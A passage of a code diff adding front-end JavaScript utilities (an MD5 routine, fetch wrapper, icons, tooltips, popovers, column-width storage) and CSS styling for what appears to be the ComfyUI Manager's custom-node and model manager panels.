+		a=hh(a,b,c,d,x[i+ 1], 4,-1530992060);d=hh(d,a,b,c,x[i+ 4],11, 1272893353);c=hh(c,d,a,b,x[i+ 7],16, -155497632);
+		b=hh(b,c,d,a,x[i+10],23,-1094730640);a=hh(a,b,c,d,x[i+13], 4,  681279174);d=hh(d,a,b,c,x[i+ 0],11, -358537222);
+		c=hh(c,d,a,b,x[i+ 3],16, -722521979);b=hh(b,c,d,a,x[i+ 6],23,   76029189);a=hh(a,b,c,d,x[i+ 9], 4, -640364487);
+		d=hh(d,a,b,c,x[i+12],11, -421815835);c=hh(c,d,a,b,x[i+15],16,  530742520);b=hh(b,c,d,a,x[i+ 2],23, -995338651);
+		a=ii(a,b,c,d,x[i+ 0], 6, -198630844);d=ii(d,a,b,c,x[i+ 7],10, 1126891415);c=ii(c,d,a,b,x[i+14],15,-1416354905);
+		b=ii(b,c,d,a,x[i+ 5],21,  -57434055);a=ii(a,b,c,d,x[i+12], 6, 1700485571);d=ii(d,a,b,c,x[i+ 3],10,-1894986606);
+		c=ii(c,d,a,b,x[i+10],15,   -1051523);b=ii(b,c,d,a,x[i+ 1],21,-2054922799);a=ii(a,b,c,d,x[i+ 8], 6, 1873313359);
+		d=ii(d,a,b,c,x[i+15],10,  -30611744);c=ii(c,d,a,b,x[i+ 6],15,-1560198380);b=ii(b,c,d,a,x[i+13],21, 1309151649);
+		a=ii(a,b,c,d,x[i+ 4], 6, -145523070);d=ii(d,a,b,c,x[i+11],10,-1120210379);c=ii(c,d,a,b,x[i+ 2],15,  718787259);
+		b=ii(b,c,d,a,x[i+ 9],21, -343485551);a=ad(a,olda);b=ad(b,oldb);c=ad(c,oldc);d=ad(d,oldd);
+	}
+	return rh(a)+rh(b)+rh(c)+rh(d);
+}
+
+export async function fetchData(route, options) {
+	let err;
+	const res = await api.fetchApi(route, options).catch(e => {
+		err = e;
+	});
+
+	if (!res) {
+		return {
+			status: 400,
+			error: new Error("Unknown Error")
+		}
+	}
+
+	const { status, statusText } = res;
+	if (err) {
+		return {
+			status,
+			error: err
+		}
+	}
+
+	if (status !== 200) {
+		return {
+			status,
+			error: new Error(statusText || "Unknown Error")
+		}
+	}
+
+	const data = await res.json();
+	if (!data) {
+		return {
+			status,
+			error: new Error(`Failed to load data: ${route}`)
+		}
+	}
+	return {
+		status,
+		data
+	}
+}
+
+// https://cenfun.github.io/open-icons/
+export const icons = {
+	search: '<svg viewBox="0 0 24 24" width="100%" height="100%" pointer-events="none" xmlns="http://www.w3.org/2000/svg"><path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m21 21-4.486-4.494M19 10.5a8.5 8.5 0 1 1-17 0 8.5 8.5 0 0 1 17 0"/></svg>',
+	conflicts: '<svg viewBox="0 0 400 400" width="100%" height="100%" pointer-events="none" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="m397.2 350.4.2-.2-180-320-.2.2C213.8 24.2 207.4 20 200 20s-13.8 4.2-17.2 10.4l-.2-.2-180 320 .2.2c-1.6 2.8-2.8 6-2.8 9.6 0 11 9 20 20 20h360c11 0 20-9 20-20 0-3.6-1.2-6.8-2.8-9.6M220 340h-40v-40h40zm0-60h-40V120h40z"/></svg>',
+	passed: '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 426.667 426.667"><path fill="#6AC259" d="M213.333,0C95.518,0,0,95.514,0,213.333s95.518,213.333,213.333,213.333c117.828,0,213.333-95.514,213.333-213.333S331.157,0,213.333,0z M174.199,322.918l-93.935-93.931l31.309-31.309l62.626,62.622l140.894-140.898l31.309,31.309L174.199,322.918z"/></svg>',
+	download: '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" width="100%" height="100%" viewBox="0 0 32 32"><path fill="currentColor" d="M26 24v4H6v-4H4v4a2 2 0 0 0 2 2h20a2 2 0 0 0 2-2v-4zm0-10l-1.41-1.41L17 20.17V2h-2v18.17l-7.59-7.58L6 14l10 10l10-10z"></path></svg>',
+	close: '<svg xmlns="http://www.w3.org/2000/svg" pointer-events="none" width="100%" height="100%" viewBox="0 0 16 16"><g fill="currentColor"><path fill-rule="evenodd" clip-rule="evenodd" d="m7.116 8-4.558 4.558.884.884L8 8.884l4.558 4.558.884-.884L8.884 8l4.558-4.558-.884-.884L8 7.116 3.442 2.558l-.884.884L7.116 8z"/></g></svg>',
+	arrowRight: '<svg xmlns="http://www.w3.org/2000/svg" pointer-events="none" width="100%" height="100%" viewBox="0 0 20 20"><path fill="currentColor" fill-rule="evenodd" d="m2.542 2.154 7.254 7.26c.136.14.204.302.204.483a.73.73 0 0 1-.204.5l-7.575 7.398c-.383.317-.724.317-1.022 0-.299-.317-.299-.643 0-.98l7.08-6.918-6.754-6.763c-.237-.343-.215-.654.066-.935.281-.28.598-.295.951-.045Zm9 0 7.254 7.26c.136.14.204.302.204.483a.73.73 0 0 1-.204.5l-7.575 7.398c-.383.317-.724.317-1.022 0-.299-.317-.299-.643 0-.98l7.08-6.918-6.754-6.763c-.237-.343-.215-.654.066-.935.281-.28.598-.295.951-.045Z"/></svg>'
+}
+
+export function sanitizeHTML(str) {
+	return str
+		.replace(/&/g, "&amp;")
+		.replace(/</g, "&lt;")
+		.replace(/>/g, "&gt;")
+		.replace(/"/g, "&quot;")
+		.replace(/'/g, "&#039;");
+}
+
+export function showTerminal() {
+	try {
+		const panel = app.extensionManager.bottomPanel;
+		const isTerminalVisible = panel.bottomPanelVisible && panel.activeBottomPanelTab.id === 'logs-terminal';
+		if (!isTerminalVisible)
+			panel.toggleBottomPanelTab('logs-terminal');
+	}
+	catch(exception) {
+		// do nothing
+	}
+}
+
+let need_restart = false;
+
+export function setNeedRestart(value) {
+	need_restart = value;
+}
+
+async function onReconnected(event) {
+	if(need_restart) {
+		setNeedRestart(false);
+
+		const confirmed = await customConfirm("To apply the changes to the node pack's installation status, you need to refresh the browser. Would you like to refresh?");
+		if (!confirmed) {
+			return;
+		}
+
+		window.location.reload(true);
+	}
+}
+
+api.addEventListener('reconnected', onReconnected);
+
+const storeId = "comfyui-manager-grid";
+let timeId;
+export function storeColumnWidth(gridId, columnItem) {
+	clearTimeout(timeId);
+	timeId = setTimeout(() => {
+		let data = {};
+		const dataStr = localStorage.getItem(storeId);
+		if (dataStr) {
+			try {
+				data = JSON.parse(dataStr);
+			} catch (e) {}
+		}
+
+		if (!data[gridId]) {
+			data[gridId] =  {};
+		}
+
+		data[gridId][columnItem.id] = columnItem.width;
+
+		localStorage.setItem(storeId, JSON.stringify(data));
+
+	}, 200)
+}
+
+export function restoreColumnWidth(gridId, columns) {
+	const dataStr = localStorage.getItem(storeId);
+	if (!dataStr) {
+		return;
+	}
+	let data;
+	try {
+		data = JSON.parse(dataStr);
+	} catch (e) {}
+	if(!data) {
+		return;
+	}
+	const widthMap = data[gridId];
+	if (!widthMap) {
+		return;
+	}
+
+	columns.forEach(columnItem => {
+		const w = widthMap[columnItem.id];
+		if (w) {
+			columnItem.width = w;
+		}
+	});
+
+}
+
+export function getTimeAgo(dateStr) {
+	const date = new Date(dateStr);
+
+	if (!date || !(date instanceof Date) || isNaN(date.getTime())) {
+		return "";
+	}
+
+	const units = [
+		{ max: 2760000, value: 60000, name: 'minute', past: 'a minute ago', future: 'in a minute' },
+		{ max: 72000000, value: 3600000, name: 'hour', past: 'an hour ago', future: 'in an hour' },
+		{ max: 518400000, value: 86400000, name: 'day', past: 'yesterday', future: 'tomorrow' },
+		{ max: 2419200000, value: 604800000, name: 'week', past: 'last week', future: 'in a week' },
+		{ max: 28512000000, value: 2592000000, name: 'month', past: 'last month', future: 'in a month' }
+	];
+    const diff = Date.now() - date.getTime();
+    // less than a minute
+    if (Math.abs(diff) < 60000)
+        return 'just now';
+    for (let i = 0; i < units.length; i++) {
+        if (Math.abs(diff) < units[i].max) {
+            return format(diff, units[i].value, units[i].name, units[i].past, units[i].future, diff < 0);
+        }
+    }
+    function format(diff, divisor, unit, past, future, isInTheFuture) {
+		const val = Math.round(Math.abs(diff) / divisor);
+		if (isInTheFuture)
+			return val <= 1 ? future : 'in ' + val + ' ' + unit + 's';
+		return val <= 1 ? past : val + ' ' + unit + 's ago';
+	}
+    return format(diff, 31536000000, 'year', 'last year', 'in a year', diff < 0);
+};
+
+export const loadCss = (cssFile) => {
+	const cssPath = import.meta.resolve(cssFile);
+	//console.log(cssPath);
+	const $link = document.createElement("link");
+	$link.setAttribute("rel", 'stylesheet');
+	$link.setAttribute("href", cssPath);
+	document.head.appendChild($link);
+};
+
+export const copyText = (text) => {
+	return new Promise((resolve) => {
+		let err;
+		try {
+			navigator.clipboard.writeText(text);
+		} catch (e) {
+			err = e;
+		}
+		if (err) {
+			resolve(false);
+		} else {
+			resolve(true);
+		}
+	});
+};
+
+function renderPopover($elem, target, options = {}) {
+	// async microtask
+	queueMicrotask(() => {
+		
+		const containerRect = getRect(window);
+		const targetRect = getRect(target);
+		const elemRect = getRect($elem);
+
+		const positionInfo = getBestPosition(
+			containerRect,
+			targetRect,
+			elemRect,
+			options.positions
+		);
+		const style = getPositionStyle(positionInfo, {
+			bgColor: options.bgColor,
+			borderColor: options.borderColor,
+			borderRadius: options.borderRadius
+		});
+
+		$elem.style.top = positionInfo.top + "px";
+		$elem.style.left = positionInfo.left + "px";
+		$elem.style.background = style.background;
+	
+	});
+}
+
+let $popover;
+export function hidePopover() {
+	if ($popover) {
+		$popover.remove();
+		$popover = null;
+	}
+}
+export function showPopover(target, text, className, options) {
+	hidePopover();
+	$popover = document.createElement("div");
+	$popover.className = ['cn-popover', className].filter(it => it).join(" ");
+	document.body.appendChild($popover);
+	$popover.innerHTML = text;
+	$popover.style.display = "block";
+	renderPopover($popover, target, {
+		borderRadius: 10,
+		... options
+	});
+}
+
+let $tooltip;
+export function hideTooltip(target) {
+	if ($tooltip) {
+		$tooltip.style.display = "none";
+		$tooltip.innerHTML = "";
+		$tooltip.style.top = "0px";
+		$tooltip.style.left = "0px";
+	}
+}
+export function showTooltip(target, text, className = 'cn-tooltip', styleMap = {}) {
+	if (!$tooltip) {
+		$tooltip = document.createElement("div");
+		$tooltip.className = className;
+		$tooltip.style.cssText = `
+			pointer-events: none;
+			position: fixed;
+			z-index: 10001;
+			padding: 20px;
+			color: #1e1e1e;
+			max-width: 350px;
+			filter: drop-shadow(1px 5px 5px rgb(0 0 0 / 30%));
+			${Object.keys(styleMap).map(k=>k+":"+styleMap[k]+";").join("")}
+		`;
+		document.body.appendChild($tooltip);
+	}
+
+	$tooltip.innerHTML = text;
+	$tooltip.style.display = "block";
+	renderPopover($tooltip, target, {
+		positions: ['top', 'bottom', 'right', 'center'],
+		bgColor: "#ffffff",
+		borderColor: "#cccccc",
+		borderRadius: 5
+	});
+}
+
+export function generateUUID() {
+	return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
+		const r = Math.random() * 16 | 0;
+		const v = c === 'x' ? r : (r & 0x3 | 0x8);
+		return v.toString(16);
+	  });	
+}
+
+function initTooltip () {
+	const mouseenterHandler = (e) => {
+        const target = e.target;
+        const text = target.getAttribute('tooltip');
+        if (text) {
+            showTooltip(target, text);
+        }
+    };
+	const mouseleaveHandler = (e) => {
+        const target = e.target;
+        const text = target.getAttribute('tooltip');
+        if (text) {
+            hideTooltip(target);
+        }
+    };
+	document.body.removeEventListener('mouseenter', mouseenterHandler, true);
+	document.body.removeEventListener('mouseleave', mouseleaveHandler, true);
+	document.body.addEventListener('mouseenter', mouseenterHandler, true);
+    document.body.addEventListener('mouseleave', mouseleaveHandler, true);
+}
+
+initTooltip();

comfyui_manager/js/custom-nodes-manager.css

@@ -0,0 +1,729 @@
+.cn-manager {
+	--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
+	z-index: 1099;
+	width: 80vw;
+	height: 75vh;
+	min-height: 30em;
+	display: flex;
+	flex-direction: column;
+	gap: 10px;
+	color: var(--fg-color);
+	font-family: arial, sans-serif;
+	text-underline-offset: 3px;
+	outline: none;
+	margin: calc(var(--spacing)*2);
+}
+
+.cn-manager .cn-flex-auto {
+	flex: auto;
+}
+
+.cn-manager button {
+	width: auto;
+	position: relative;
+	overflow: hidden;
+	font-size: 16px;
+	color: var(--input-text);
+	background-color: var(--comfy-input-bg);
+	border-color: var(--border-color);
+	margin: 0;
+	min-width: 100px;
+}
+
+.cn-manager button:hover {
+	filter: brightness(125%);
+}
+
+.cn-manager button:disabled,
+.cn-manager input:disabled,
+.cn-manager select:disabled {
+	color: gray;
+}
+
+.cn-manager button:disabled {
+	background-color: var(--comfy-input-bg);
+}
+
+.cn-manager .cn-manager-restart {
+	display: none;
+	background-color: #500000 !important;
+	border-color: #88181b !important;
+	color: white !important;
+}
+
+.cn-manager .cn-manager-restart:hover {
+	background-color: #88181b !important;
+}
+
+.cn-manager .cn-manager-stop {
+	display: none;
+	background-color: #500000;
+	color: white;
+}
+
+.cn-manager .cn-manager-back {
+	align-items: center;
+	justify-content: center;
+}
+
+.arrow-icon {
+	height: 1em;
+	width: 1em;
+	margin-right: 5px;
+	transform: translateY(2px);
+}
+
+.cn-icon {
+	display: block;
+	width: 16px;
+	height: 16px;
+}
+
+.cn-icon svg {
+	display: block;
+	margin: 0;
+	pointer-events: none;
+}
+
+.cn-manager-header {
+	display: flex;
+	flex-wrap: wrap;
+	gap: 5px;
+	align-items: center;
+}
+
+.cn-manager-header label {
+	display: flex;
+	gap: 5px;
+	align-items: center;
+}
+
+.cn-manager-filter {
+	height: 28px;
+	line-height: 28px;
+
+	cursor: pointer;
+	padding: 0.5em 0.5em;
+	border: 1px solid var(--border-color);
+	border-radius: 6px;
+	background: var(--comfy-input-bg);
+}
+
+.cn-manager-filter:hover {
+	filter: brightness(125%);
+}
+
+.cn-manager-keywords {
+	height: 28px;
+	line-height: 28px;
+	padding: 0 5px 0 26px;
+	background: var(--comfy-input-bg);
+	background-size: 16px;
+	background-position: 5px center;
+	background-repeat: no-repeat;
+	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20width%3D%22100%25%22%20height%3D%22100%25%22%20pointer-events%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23888%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%20stroke-width%3D%222%22%20d%3D%22m21%2021-4.486-4.494M19%2010.5a8.5%208.5%200%201%201-17%200%208.5%208.5%200%200%201%2017%200%22%2F%3E%3C%2Fsvg%3E");
+
+	border: 1px solid var(--border-color);
+	border-radius: 6px;
+
+	outline-color: transparent;
+}
+
+.cn-manager-status {
+	padding-left: 10px;
+}
+
+.cn-manager-grid {
+	flex: auto;
+	border: 1px solid var(--border-color);
+	overflow: hidden;
+	position: relative;
+}
+
+.cn-manager-selection {
+	display: flex;
+	flex-wrap: wrap;
+	gap: 10px;
+	align-items: center;
+}
+
+.cn-manager-message {
+	position: relative;
+}
+
+.cn-manager-footer {
+	display: flex;
+	flex-wrap: wrap;
+	gap: 10px;
+	align-items: center;
+}
+
+.cn-manager-grid .tg-turbogrid {
+	font-family: var(--grid-font);
+	font-size: 15px;
+	background: var(--bg-color);
+}
+
+.cn-manager-grid .tg-turbogrid .tg-highlight::after {
+	position: absolute;
+	top: 0;
+	left: 0;
+	content: "";
+	display: block;
+	width: 100%;
+	height: 100%;
+	box-sizing: border-box;
+	background-color: #80bdff11;
+	pointer-events: none;
+}
+
+.cn-manager-grid .cn-pack-name a {
+	color: skyblue;
+	text-decoration: none;
+	word-break: break-word;
+}
+
+.cn-manager-grid .cn-pack-desc a {
+	color: #5555FF;
+	font-weight: bold;
+	text-decoration: none;
+}
+
+.cn-manager-grid .tg-cell a:hover {
+	text-decoration: underline;
+}
+
+.cn-manager-grid .cn-pack-version {
+	line-height: 100%;
+	display: flex;
+	flex-direction: column;
+	justify-content: center;
+	height: 100%;
+	gap: 5px;
+}
+
+.cn-manager-grid .cn-pack-nodes {
+	line-height: 100%;
+	display: flex;
+	flex-direction: column;
+	justify-content: center;
+	gap: 5px;
+	cursor: pointer;
+	height: 100%;
+}
+
+.cn-manager-grid .cn-pack-nodes:hover {
+	text-decoration: underline;
+}
+
+.cn-manager-grid .cn-pack-conflicts {
+	color: orange;
+}
+
+.cn-popover {
+	position: fixed;
+	z-index: 10000;
+	padding: 20px;
+	color: #1e1e1e;
+	filter: drop-shadow(1px 5px 5px rgb(0 0 0 / 30%));
+	overflow: hidden;
+}
+
+.cn-flyover {
+	position: absolute;
+    top: 0;
+	right: 0;
+    z-index: 1000;
+    display: none;
+    width: 50%;
+    height: 100%;
+    background-color: var(--comfy-menu-bg);
+    animation-duration: 0.2s;
+    animation-fill-mode: both;
+	flex-direction: column;
+}
+
+.cn-flyover::before {
+    position: absolute;
+    top: 0;
+    content: "";
+    z-index: 10;
+    display: block;
+    width: 10px;
+    height: 100%;
+    pointer-events: none;
+	left: -10px;
+    background-image: linear-gradient(to left, rgb(0 0 0 / 20%), rgb(0 0 0 / 0%));
+}
+
+.cn-flyover-header {
+	height: 45px;
+	display: flex;
+	align-items: center;
+	gap: 5px;
+	border-bottom: 1px solid var(--border-color);
+}
+
+.cn-flyover-close {
+	display: flex;
+	align-items: center;
+	padding: 0 10px;
+	justify-content: center;
+	cursor: pointer;
+	opacity: 0.8;
+	height: 100%;
+}
+
+.cn-flyover-close:hover {
+	opacity: 1;
+}
+
+.cn-flyover-close svg {
+	display: block;
+	margin: 0;
+	pointer-events: none;
+	width: 20px;
+	height: 20px;
+}
+
+.cn-flyover-title {
+	display: flex;
+	align-items: center;
+	font-weight: bold;
+	gap: 10px;
+	flex: auto;
+}
+
+.cn-flyover-body {
+	height: calc(100% - 45px);
+	overflow-y: auto;
+	position: relative;
+	background-color: var(--comfy-menu-secondary-bg);
+}
+
+@keyframes cn-slide-in-right {
+    from {
+        visibility: visible;
+        transform: translate3d(100%, 0, 0);
+    }
+
+    to {
+        transform: translate3d(0, 0, 0);
+    }
+}
+
+.cn-slide-in-right {
+    animation-name: cn-slide-in-right;
+}
+
+@keyframes cn-slide-out-right {
+    from {
+        transform: translate3d(0, 0, 0);
+    }
+
+    to {
+        visibility: hidden;
+        transform: translate3d(100%, 0, 0);
+    }
+}
+
+.cn-slide-out-right {
+    animation-name: cn-slide-out-right;
+}
+
+.cn-nodes-list {
+	width: 100%;
+}
+
+.cn-nodes-row {
+	display: flex;
+	align-items: center;
+	gap: 10px;
+}
+
+.cn-nodes-row:nth-child(odd) {
+	background-color: rgb(0 0 0 / 5%);
+}
+
+.cn-nodes-row:hover {
+    background-color: rgb(0 0 0 / 10%);
+}
+
+.cn-nodes-sn {
+	text-align: right;
+	min-width: 35px;
+	color: var(--drag-text);
+	flex-shrink: 0;
+	font-size: 12px;
+	padding: 8px 5px;
+}
+
+.cn-nodes-name {
+	cursor: pointer;
+	white-space: nowrap;
+	flex-shrink: 0;
+	position: relative;
+	padding: 8px 5px;
+}
+
+.cn-nodes-name::after {
+	content: attr(action);
+	position: absolute;
+	pointer-events: none;
+	top: 50%;
+	left: 100%;
+	transform: translate(5px, -50%);
+	font-size: 12px;
+	color: var(--drag-text);
+	background-color: var(--comfy-input-bg);
+	border-radius: 10px;
+	border: 1px solid var(--border-color);
+	padding: 3px 8px;
+	display: none;
+}
+
+.cn-nodes-name.action::after {
+	display: block;
+}
+
+.cn-nodes-name:hover {
+	text-decoration: underline;
+}
+
+.cn-nodes-conflict .cn-nodes-name,
+.cn-nodes-conflict .cn-icon {
+	color: orange;
+}
+
+.cn-conflicts-list {
+	display: flex;
+	flex-wrap: wrap;
+	gap: 5px;
+	align-items: center;
+	padding: 5px 0;
+}
+
+.cn-conflicts-list b {
+	font-weight: normal;
+	color: var(--descrip-text);
+}
+
+.cn-nodes-pack {
+	cursor: pointer;
+	color: skyblue;
+}
+
+.cn-nodes-pack:hover {
+	text-decoration: underline;
+}
+
+.cn-pack-badge {
+	font-size: 12px;
+	font-weight: normal;
+	background-color: var(--comfy-input-bg);
+	border-radius: 10px;
+	border: 1px solid var(--border-color);
+	padding: 3px 8px;
+	color: var(--error-text);
+}
+
+.cn-preview {
+	min-width: 300px;
+	max-width: 500px;
+	min-height: 120px;
+	overflow: hidden;
+  	font-size: 12px;
+	pointer-events: none;
+	padding: 12px;
+	color: var(--fg-color);
+}
+
+.cn-preview-header {
+	display: flex;
+	gap: 8px;
+	align-items: center;
+	border-bottom: 1px solid var(--comfy-input-bg);
+	padding: 5px 10px;
+}
+
+.cn-preview-dot {
+	width: 8px;
+	height: 8px;
+	border-radius: 50%;
+	background-color: grey;
+	position: relative;
+	filter: drop-shadow(1px 2px 3px rgb(0 0 0 / 30%));
+}
+
+.cn-preview-dot.cn-preview-optional::after {
+	content: "";
+	position: absolute;
+	pointer-events: none;
+	top: 50%;
+	left: 50%;
+	transform: translate(-50%, -50%);
+	background-color: var(--comfy-input-bg);
+	border-radius: 50%;
+	width: 3px;
+  	height: 3px;
+}
+
+.cn-preview-dot.cn-preview-grid {
+	border-radius: 0;
+}
+
+.cn-preview-dot.cn-preview-grid::before {
+	content: '';
+	position: absolute;
+	border-left: 1px solid var(--comfy-input-bg);
+	border-right: 1px solid var(--comfy-input-bg);
+	width: 4px;
+	height: 100%;
+	left: 2px;
+	top: 0;
+	z-index: 1;
+}
+
+.cn-preview-dot.cn-preview-grid::after {
+	content: '';
+	position: absolute;
+	border-top: 1px solid var(--comfy-input-bg);
+	border-bottom: 1px solid var(--comfy-input-bg);
+	width: 100%;
+	height: 4px;
+	left: 0;
+	top: 2px;
+	z-index: 1;
+}
+
+.cn-preview-name {
+	flex: auto;
+	font-size: 14px;
+}
+
+.cn-preview-io {
+	display: flex;
+	justify-content: space-between;
+	padding: 10px 10px;
+}
+
+.cn-preview-column > div {
+	display: flex;
+	gap: 10px;
+	align-items: center;
+	height: 18px;
+	overflow: hidden;
+	white-space: nowrap;
+	text-overflow: ellipsis;
+}
+
+.cn-preview-input {
+	justify-content: flex-start;
+}
+
+.cn-preview-output {
+	justify-content: flex-end;
+}
+
+.cn-preview-list {
+	display: flex;
+	flex-direction: column;
+	gap: 3px;
+	padding: 0 10px 10px 10px;
+}
+
+.cn-preview-switch {
+	position: relative;
+	display: flex;
+	justify-content: space-between;
+	align-items: center;
+	background: var(--bg-color);
+	border: 2px solid var(--border-color);
+	border-radius: 10px;
+	text-wrap: nowrap;
+	padding: 2px 20px;
+	gap: 10px;
+}
+
+.cn-preview-switch::before,
+.cn-preview-switch::after {
+	position: absolute;
+	pointer-events: none;
+	top: 50%;
+	transform: translate(0, -50%);
+	color: var(--fg-color);
+	opacity: 0.8;
+}
+
+.cn-preview-switch::before {
+	content: "◀";
+	left: 5px;
+}
+
+.cn-preview-switch::after {
+	content: "▶";
+	right: 5px;
+}
+
+.cn-preview-value {
+	color: var(--descrip-text);
+}
+
+.cn-preview-string {
+	min-height: 30px;
+	max-height: 300px;
+	background: var(--bg-color);
+	color: var(--descrip-text);
+	border-radius: 3px;
+	padding: 3px 5px;
+	overflow-y: auto;
+	overflow-x: hidden;
+}
+
+.cn-preview-description {
+	margin: 0px 10px 10px 10px;
+	padding: 6px;
+	background: var(--border-color);
+	color: var(--descrip-text);
+	border-radius: 5px;
+	font-style: italic;
+	word-break: break-word;
+}
+
+.cn-tag-list {
+	display: flex;
+	flex-wrap: wrap;
+	gap: 5px;
+	align-items: center;
+	margin-bottom: 5px;
+}
+
+.cn-tag-list > div {
+	background-color: var(--border-color);
+	border-radius: 5px;
+	padding: 0 5px;
+}
+
+.cn-install-buttons {
+	display: flex;
+	flex-direction: column;
+	gap: 3px;
+	padding: 3px;
+	align-items: center;
+	justify-content: center;
+	height: 100%;
+}
+
+.cn-install-buttons button {
+	padding: 4px 8px;
+}
+
+.cn-selected-buttons {
+	display: flex;
+	gap: 5px;
+	align-items: center;
+	padding-right: 20px;
+}
+
+.cn-manager .cn-btn-enable {
+	background-color: #333399;
+	color: white;
+}
+
+.cn-manager .cn-btn-disable {
+	background-color: #442277;
+	color: white;
+}
+
+.cn-manager .cn-btn-update {
+	background-color: #1155AA;
+	color: white;
+}
+
+.cn-manager .cn-btn-try-update {
+	background-color: Gray;
+	color: white;
+}
+
+.cn-manager .cn-btn-try-fix {
+	background-color: #6495ED;
+	color: white;
+}
+
+.cn-manager .cn-btn-import-failed {
+	background-color: #AA1111;
+    font-size: 10px;
+	font-weight: bold;
+	color: white;
+}
+
+.cn-manager .cn-btn-install {
+	background-color: black;
+	color: white;
+}
+
+.cn-manager .cn-btn-try-install {
+	background-color: Gray;
+	color: white;
+}
+
+.cn-manager .cn-btn-uninstall {
+	background-color: #993333;
+	color: white;
+}
+
+.cn-manager .cn-btn-reinstall {
+	background-color: #993333;
+	color: white;
+}
+
+.cn-manager .cn-btn-switch {
+	background-color: #448833;
+	color: white;
+
+}
+
+@keyframes cn-btn-loading-bg {
+	0% {
+		left: 0;
+	}
+	100% {
+		left: -105px;
+	}
+}
+
+.cn-manager button.cn-btn-loading {
+	position: relative;
+	overflow: hidden;
+	border-color: rgb(0 119 207 / 80%);
+	background-color: var(--comfy-input-bg);
+}
+
+.cn-manager button.cn-btn-loading::after {
+	position: absolute;
+	top: 0;
+	left: 0;
+	content: "";
+	width: 500px;
+	height: 100%;
+	background-image: repeating-linear-gradient(
+		-45deg,
+		rgb(0 119 207 / 30%),
+		rgb(0 119 207 / 30%) 10px,
+		transparent 10px,
+		transparent 15px
+	);
+	animation: cn-btn-loading-bg 2s linear infinite;
+}
+
+.cn-manager-light .cn-pack-name a {
+	color: blue;
+}
+
+.cn-manager-light .cm-warn-note {
+	background-color: #ccc !important;
+}
+
+.cn-manager-light .cn-btn-install {
+	background-color: #333;
+}

comfyui_manager/js/model-manager.css

@@ -0,0 +1,237 @@
+.cmm-manager {
+	--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
+	z-index: 1099;
+	width: 80vw;
+	height: 75vh;
+	min-height: 30em;
+	display: flex;
+	flex-direction: column;
+	gap: 10px;
+	color: var(--fg-color);
+	font-family: arial, sans-serif;
+	margin: calc(var(--spacing)*2);
+}
+
+.cmm-manager .cmm-flex-auto {
+	flex: auto;
+}
+
+.cmm-manager button {
+	font-size: 16px;
+	color: var(--input-text);
+    background-color: var(--comfy-input-bg);
+    border-color: var(--border-color);
+    margin: 0;
+	min-width: 100px;
+}
+
+.cmm-manager button:hover {
+	filter: brightness(125%);
+}
+
+.cmm-manager button:disabled,
+.cmm-manager input:disabled,
+.cmm-manager select:disabled {
+	color: gray;
+}
+
+.cmm-manager button:disabled {
+	background-color: var(--comfy-input-bg);
+}
+
+.cmm-manager .cmm-manager-refresh {
+	display: none;
+	background-color: #000080 !important;
+	color: white;
+}
+
+.cmm-manager .cmm-manager-stop {
+	display: none;
+	background-color: #500000;
+	color: white;
+}
+
+.cmm-manager-header {
+	display: flex;
+	flex-wrap: wrap;
+	gap: 5px;
+	align-items: center;
+}
+
+.cmm-manager-header label {
+	display: flex;
+	gap: 5px;
+	align-items: center;
+}
+
+.cmm-manager-type,
+.cmm-manager-base,
+.cmm-manager-filter {
+	height: 28px;
+	line-height: 28px;
+
+	cursor: pointer;
+	padding: 0.5em 0.5em;
+	border: 1px solid var(--border-color);
+	border-radius: 6px;
+	background: var(--comfy-input-bg);
+}
+
+.cmm-manager-type:hover,
+.cmm-manager-base:hover,
+.cmm-manager-filter:hover {
+	filter: brightness(125%);
+}
+
+.cmm-manager-keywords {
+	height: 28px;
+	line-height: 28px;
+	padding: 0 5px 0 26px;
+	background: var(--comfy-input-bg);
+	background-size: 16px;
+	background-position: 5px center;
+	background-repeat: no-repeat;
+	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20width%3D%22100%25%22%20height%3D%22100%25%22%20pointer-events%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23888%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%20stroke-width%3D%222%22%20d%3D%22m21%2021-4.486-4.494M19%2010.5a8.5%208.5%200%201%201-17%200%208.5%208.5%200%200%201%2017%200%22%2F%3E%3C%2Fsvg%3E");
+
+	border: 1px solid var(--border-color);
+	border-radius: 6px;
+
+	outline-color: transparent;
+}
+
+.cmm-manager-status {
+	padding-left: 10px;
+}
+
+.cmm-manager-grid {
+	flex: auto;
+	border: 1px solid var(--border-color);
+	overflow: hidden;
+}
+
+.cmm-manager-selection {
+	display: flex;
+	flex-wrap: wrap;
+	gap: 10px;
+	align-items: center;
+}
+
+.cmm-manager-footer {
+	display: flex;
+	flex-wrap: wrap;
+	gap: 10px;
+	align-items: center;
+}
+
+.cmm-manager-grid .tg-turbogrid {
+	font-family: var(--grid-font);
+	font-size: 15px;
+	background: var(--bg-color);
+}
+
+.cmm-manager-grid .cmm-node-name a {
+	color: skyblue;
+	text-decoration: none;
+	word-break: break-word;
+}
+
+.cmm-manager-grid .cmm-node-desc a {
+	color: #5555FF;
+    font-weight: bold;
+	text-decoration: none;
+}
+
+.cmm-manager-grid .tg-cell a:hover {
+	text-decoration: underline;
+}
+
+.cmm-icon-passed {
+	width: 20px;
+	height: 20px;
+	position: absolute;
+	left: calc(50% - 10px);
+	top: calc(50% - 10px);
+}
+
+.cmm-manager .cmm-btn-enable {
+	background-color: blue;
